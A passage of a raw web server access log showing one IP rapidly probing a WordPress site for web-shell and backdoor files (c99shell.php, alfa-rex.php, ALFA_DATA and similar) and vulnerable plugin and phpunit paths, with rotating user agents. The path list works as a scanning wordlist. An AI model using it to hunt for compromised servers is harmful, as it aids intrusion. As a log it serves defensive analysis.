Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:14 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:14 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:02:14 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:14 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:14 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:14 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:15 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:15 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:15 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:15 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:15 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:15 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:15 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:16 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:16 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:16 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:16 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:16 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:16 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:16 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:17 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:17 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:17 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:17 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:17 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:17 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:17 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:18 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:18 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:18 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:02:18 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:02:18 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:19 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:19 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:19 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:19 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:19 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:02:19 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:19 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:02:20 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:20 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:20 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:20 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:02:20 +0300] "GET /img/prettyPhoto/dark_square/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:02:20 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:02:20 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:02:21 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:21 +0300] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:21 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:21 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:21 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:22 +0300] "GET /css/hekokstyle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:22 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:22 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:22 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:22 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:22 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:02:23 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:23 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:23 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:23 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:23 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:02:23 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:02:23 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:23 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:24 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:24 +0300] "GET /img/chat-search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:24 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:02:24 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.5.53.96 - - [02/Feb/2026:16:02:24 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:24 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:24 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:24 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:02:25 +0300] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:25 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:25 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:02:25 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:02:25 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:25 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:25 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:25 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:26 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:26 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:26 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:26 +0300] "GET /wp-includes/id3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:26 +0300] "GET /wp-includes/blocks/query/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:26 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:26 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:02:26 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:26 +0300] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:27 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:27 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:27 +0300] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:27 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:02:27 +0300] "GET /wp-admin/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:27 +0300] "GET /assets/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:27 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:27 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:27 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:28 +0300] "GET /wp-content/plugins/wp-file-manager/admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:28 +0300] "GET /wp-admin/js/widget/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:02:28 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:28 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:28 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:28 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:28 +0300] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.5.53.96 - - [02/Feb/2026:16:02:28 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:29 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:29 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:29 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:29 +0300] "GET /wp-includes/ID3 